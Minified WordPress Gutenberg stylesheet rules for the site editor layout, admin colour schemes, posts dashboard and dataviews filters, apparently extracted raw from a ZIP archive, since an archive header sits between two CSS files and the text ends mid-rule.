.components-button{max-width:100%;min-height:32px;text-align:left;text-wrap:balance;text-wrap:pretty;white-space:normal}.dataforms-layouts-panel__field-control.components-button.is-link[aria-disabled=true]{text-decoration:none}.dataforms-layouts-panel__field-control .components-dropdown{max-width:100%}.dataforms-layouts-panel__field-dropdown .components-popover__content{min-width:320px;padding:16px}.dataforms-layouts-panel__dropdown-header{margin-bottom:16px}.dataforms-layouts-panel__modal-footer{margin-top:16px}.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{z-index:159990}.dataforms-layouts-regular__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-regular__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;width:38%}.dataforms-layouts-regular__field-label--label-position-side{align-self:center}.dataforms-layouts-regular__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-card__field-header-label{font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:15px;font-weight:500;line-height:20px}.dataforms-layouts-card__field{width:100%}.dataforms-layouts-card__field-description{color:#757575;display:block;font-size:13px;margin-bottom:16px}.dataforms-layouts-card__field-summary{display:flex;flex-direction:row;gap:16px}.dataforms-layouts-row__field-control{width:100%}.dataforms-layouts__wrapper{font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;line-height:20px}.edit-site-layout{color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{background:#1e1e1e}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:300px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;left:0;position:fixed!important;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{right:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__mobile{display:flex;flex-direction:column;position:relative;width:100%;z-index:2}.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{padding:0}.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{padding:0 12px}.edit-site-layout__canvas-container{flex-grow:1;overflow:visible;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;left:0;position:absolute;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas .edit-site-resizable-frame__inner{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:16px;top:16px;width:calc(100% - 16px)}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;overflow:hidden}}@media (min-width:782px) and (not (prefers-reduced-motion)){.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{transition:border-radius,box-shadow .4s}}@media (min-width:782px){.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{border-radius:8px}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-template-pages-preview{height:100%}html.canvas-mode-edit-transition::view-transition-group(toggle){animation-delay:255ms}@media (prefers-reduced-motion){::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){animation:none!important}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{display:none}.edit-site-layout__view-mode-toggle.components-button{view-transition-name:toggle;align-items:center;background:#1e1e1e;border-radius:0;color:#fff;display:flex;height:64px;justify-content:center;overflow:hidden;padding:0;position:relative;width:64px}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{box-shadow:0 0 0 3px #1e1e1e,0 0 0 6px var(--wp-admin-theme-color);outline:4px solid #0000;outline-offset:4px}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:17px;position:absolute;right:9px;top:9px}@media not (prefers-reduced-motion){.edit-site-layout__view-mode-toggle.components-button:before{transition:box-shadow .1s ease}}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;display:flex;height:64px;justify-content:center;width:64px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-left:1px solid #ddd}}.edit-site-layout__area{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;flex-grow:1;margin:0;overflow:hidden}@media (min-width:782px){.edit-site-layout__area{border-radius:8px;margin:16px 16px 16px 0}}.edit-site .components-editor-notices__snackbar{bottom:16px;padding-left:16px;padding-right:16px;position:fixed;right:0}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:16px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{color:#1e1e1e}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{contain:content;flex-grow:1;overflow-x:hidden;overflow-y:auto}@keyframes local--slide-from-right{0%{opacity:0;transform:translateX(50px)}to{opacity:1;transform:none}}@keyframes local--slide-from-left{0%{opacity:0;transform:translateX(-50px)}to{opacity:1;transform:none}}.edit-site-sidebar__screen-wrapper{overflow-x:auto}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{background-color:initial}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__screen-wrapper{scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin}.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{scrollbar-color:#757575 #0000}.edit-site-sidebar__screen-wrapper{will-change:transform}@media (hover:none){.edit-site-sidebar__screen-wrapper{scrollbar-color:#757575 #0000}}.edit-site-sidebar__screen-wrapper{animation-duration:.14s;animation-timing-function:ease-in-out;display:flex;flex-direction:column;height:100%;max-height:100%;padding:0 12px;scrollbar-gutter:stable;will-change:transform,opacity}@media (prefers-reduced-motion:reduce){.edit-site-sidebar__screen-wrapper{animation-duration:0s}}.edit-site-sidebar__screen-wrapper.slide-from-left{animation-name:local--slide-from-left}.edit-site-sidebar__screen-wrapper.slide-from-right{animation-name:local--slide-from-right}.edit-site-site-hub{align-items:center;display:flex;gap:8px;height:64px;justify-content:space-between;margin-right:12px}.edit-site-site-hub__actions{flex-shrink:0}.edit-site-site-hub__view-mode-toggle-container{flex-shrink:0;height:64px;width:64px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{background:#0000}.edit-site-site-hub__title .components-button{color:#e0e0e0;display:block;flex-grow:1;font-size:15px;font-weight:500;margin-left:-4px;overflow:hidden;padding-right:16px;position:relative;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{color:#e0e0e0}.edit-site-site-hub__title .components-button:focus{box-shadow:none;outline:none}.edit-site-site-hub__title .components-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.edit-site-site-hub__title .components-button:after{content:"↗";font-weight:400;opacity:0;position:absolute;right:0}@media not (prefers-reduced-motion){.edit-site-site-hub__title .components-button:after{transition:opacity .1s linear}}.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{opacity:1}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{fill:#f0f0f0}.edit-site-site-icon__icon{fill:currentColor;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{padding:12px}.edit-site-site-icon__image{aspect-ratio:1/1;background:#333;height:100%;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__image{border-radius:0}.edit-site-editor__view-mode-toggle button:focus{position:relative}.edit-site-editor__view-mode-toggle button:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;content:"";display:block;left:0;position:absolute;right:0;top:0;z-index:1}.edit-site-editor-canvas-container{background-color:var(--wp-editor-canvas-background);height:100%}.edit-site-editor-canvas-container iframe{display:block;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{padding:24px 24px 0}.edit-site-editor-canvas-container__section{background:#fff;border-radius:8px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.edit-site-editor-canvas-container__section{transition:all .3s}}.edit-site-editor-canvas-container__close-button{background:#fff;position:absolute;right:8px;top:8px;z-index:2}.edit-site-post-list__featured-image{height:100%;object-fit:cover;width:100%}.edit-site-post-list__featured-image-wrapper{border-radius:4px;height:100%;width:100%}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){background-color:#f0f0f0;border-radius:4px;display:block;flex-grow:0!important;height:32px;overflow:hidden;position:relative;width:32px}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.edit-site-post-list__featured-image-button{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0;width:100%}.edit-site-post-list__featured-image-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-post-list__status-icon{height:24px;width:24px}.edit-site-post-list__status-icon svg{fill:currentColor;margin-left:-4px}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:#75757566;border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid #0000}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,114.7661290323,160.5;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,96.5322580645,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33.0384615385,68.7307692308,230.4615384615;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:23.6923076923,58.1538461538,214.3076923077;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7.3723404255,81.914893617,108.1276595745;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:5.7446808511,63.829787234,84.2553191489;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56.2692307692,51.4461538462,48.2307692308;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:42.5384615385,38.8923076923,36.4615384615;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:69.8430232558,53.6598837209,92.8401162791;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:57.6860465116,44.3197674419,76.6802325581;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221.4908256881,56.1788990826,45.0091743119;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:207.8348623853,44.2201834862,33.1651376147;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87.0873362445,110.192139738,116.4126637555;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76.1746724891,96.384279476,101.8253275109;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:216.8782608696,116.1847826087,37.6217391304;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195.147826087,104.5434782609,33.852173913;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}#adminmenumain,#wpadminbar{display:none}#wpcontent{margin-left:0}body.js #wpbody{padding-top:0}body{background:#fff}body #wpcontent{padding-left:0}body #wpbody-content{padding-bottom:0}body #wpbody-content>div:not(#gutenberg-posts-dashboard):not(#screen-meta),body #wpfooter{display:none}body .a11y-speak-region{left:-1px;top:-1px}body ul#adminmenu a.wp-has-current-submenu:after,body ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}#gutenberg-posts-dashboard{box-sizing:border-box}#gutenberg-posts-dashboard *,#gutenberg-posts-dashboard :after,#gutenberg-posts-dashboard :before{box-sizing:inherit}#gutenberg-posts-dashboard{height:100vh}@media (min-width:600px){#gutenberg-posts-dashboard{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js #gutenberg-posts-dashboard{min-height:0;position:static}#gutenberg-posts-dashboard .components-editor-notices__snackbar{bottom:16px;padding-left:16px;padding-right:16px;position:fixed;right:0}PK!üëFÏaa$css/dist/edit-site/posts-rtl.min.cssnuȯÝí@charset "UTF-8";:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.admin-ui-page{background-color:#fff;color:#2f2f2f;container:admin-ui-page/inline-size;display:flex;flex-flow:column;height:100%;position:relative;z-index:1}@media not (prefers-reduced-motion){.admin-ui-page{transition:width .2s ease-out}}.admin-ui-page__header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0}@container (max-width: 430px){.admin-ui-page__header{padding:16px 24px}}.admin-ui-page__header-subtitle{color:#757575;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;line-height:20px;margin:0;padding-block-end:8px}.admin-ui-page__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto}.admin-ui-page__content.has-padding{padding:16px 20px}@container (max-width: 430px){.admin-ui-page__content.has-padding{padding:16px 24px}}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{padding:0 8px;width:auto}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{display:none}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.dataviews-picker-wrapper,.dataviews-wrapper{box-sizing:border-box;container:dataviews-wrapper/inline-size;display:flex;flex-direction:column;font-size:13px;height:100%;line-height:1.4;overflow:auto;scroll-padding-bottom:64px}.dataviews-filters__container,.dataviews__view-actions{box-sizing:border-box;flex-shrink:0;padding:16px 48px;position:sticky;right:0}@media not (prefers-reduced-motion){.dataviews-filters__container,.dataviews__view-actions{transition:padding .1s ease-out}}.dataviews-loading,.dataviews-no-results{align-items:center;display:flex;flex-grow:1;justify-content:center;padding:0 48px}@media not (prefers-reduced-motion){.dataviews-loading,.dataviews-no-results{transition:padding .1s ease-out}}.dataviews-loading-more{text-align:center}@container (max-width: 430px){.dataviews-filters__container,.dataviews__view-actions{padding:12px 24px}.dataviews-loading,.dataviews-no-results{padding-left:24px;padding-right:24px}}.dataviews-title-field{font-size:13px;font-weight:500;width:100%}.dataviews-title-field,.dataviews-title-field a{color:#2f2f2f;text-overflow:ellipsis;white-space:nowrap}.dataviews-title-field a{display:block;flex-grow:0;overflow:hidden;text-decoration:none}.dataviews-title-field a:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-title-field button.components-button.is-link{color:#1e1e1e;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-title-field button.components-button.is-link:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable{color:#2f2f2f;cursor:pointer}.dataviews-title-field--clickable:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.components-card__body:has(>.dataviews-picker-wrapper),.components-card__body:has(>.dataviews-wrapper){overflow:hidden;padding:8px 0 0}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews__view-actions,.components-card__body:has(>.dataviews-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-wrapper) .dataviews__view-actions{padding-inline:24px}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:first-child{padding-inline-start:24px}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:last-child{padding-inline-end:24px}.dataviews-bulk-actions-footer__item-count{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-bulk-actions-footer__container{margin-left:auto;min-height:32px}.dataviews-filters__button{position:relative}.dataviews-filters__container{padding-top:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{opacity:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{opacity:1}.dataviews-filters__summary-popover{font-size:13px;line-height:1.4}.dataviews-filters__summary-popover .components-popover__content{border-radius:4px;max-width:250px;min-width:230px;width:100%}.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{padding:0}.dataviews-filters__summary-operators-container{padding:8px 16px}.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-no-elements),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__user-input-widget){border-bottom:1px solid #e0e0e0}.dataviews-filters__summary-operators-container:empty{display:none}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{color:#757575;flex-shrink:0;max-width:calc(100% - 55px);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-select{overflow:hidden;white-space:nowrap;width:100%}.dataviews-filters__summary-chip-container{position:relative;white-space:pre-wrap}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:flex;min-height:32px;padding:4px 12px;position:relative}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable{cursor:default}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{padding-inline-end:28px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover:not(.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable),.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{font-weight:500}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;left:4px;padding:0;position:absolute;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{fill:#757575}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{background:#e0e0e0}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{fill:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-filters__search-widget-listbox{overflow:auto;padding:4px}.dataviews-filters__search-widget-listitem{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;gap:8px;line-height:20px;min-height:32px;padding:4px 12px}.dataviews-filters__search-widget-listitem:last-child{margin-block-end:0}.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection{background:#fff;border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection.is-selected{background:var(--wp-admin-theme-color-darker-20,#183ad6);border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection{border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection.is-selected{background:var(--wp-admin-theme-color-darker-20,#183ad6);border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem 